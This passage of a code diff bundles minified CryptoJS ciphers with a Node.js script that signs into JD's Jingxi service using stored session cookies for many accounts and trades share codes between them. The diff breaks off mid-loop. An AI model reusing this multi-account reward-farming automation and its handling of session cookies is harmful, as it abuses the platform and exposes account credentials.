16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); const $ = new Env('京喜签到'); +const JD_API_HOST = "https://m.jingxi.com/"; const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = '', message; -let helpAuthor = true +$.shareCodes = []; +$.blackInfo = {} +$.appId = 10028; if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) @@ -33,215 +48,277 @@ if ($.isNode()) { } else { cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } -const JD_API_HOST = 'https://m.jingxi.com/'; !(async () => { + $.CryptoJS = $.isNode() ? require("crypto-js") : CryptoJS; + await requestAlgo(); + await $.wait(2000); if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); return; } - $.newShareCodes = [] - // await getAuthorShareCode(); for (let i = 0; i < cookiesArr.length; i++) { if (cookiesArr[i]) { cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.isLogin = true; + await TotalBean() + if (!$.isLogin) { + continue + } + if (i === 0) console.log(`\n正在收集助力码请等待\n`) + await signhb(1) + await $.wait(3000) + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); $.index = i + 1; $.isLogin = true; $.nickName = ''; message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + $.commonlist = [] + $.black = false + $.canHelp = true + await TotalBean() + console.log(`\n******开始【京东账号${$.index}】 ${$.nickName || $.UserName}*********\n`) if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }) if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`) } continue } - await jdCash() + await signhb(2) + await $.wait(3000) + if ($.canHelp) { + if ($.shareCodes && $.shareCodes.length) { + console.log(`\n开始内部互助\n`) + for (let j = 0; j < $.shareCodes.length; j++) { + if ($.shareCodes[j].num == $.domax) { + 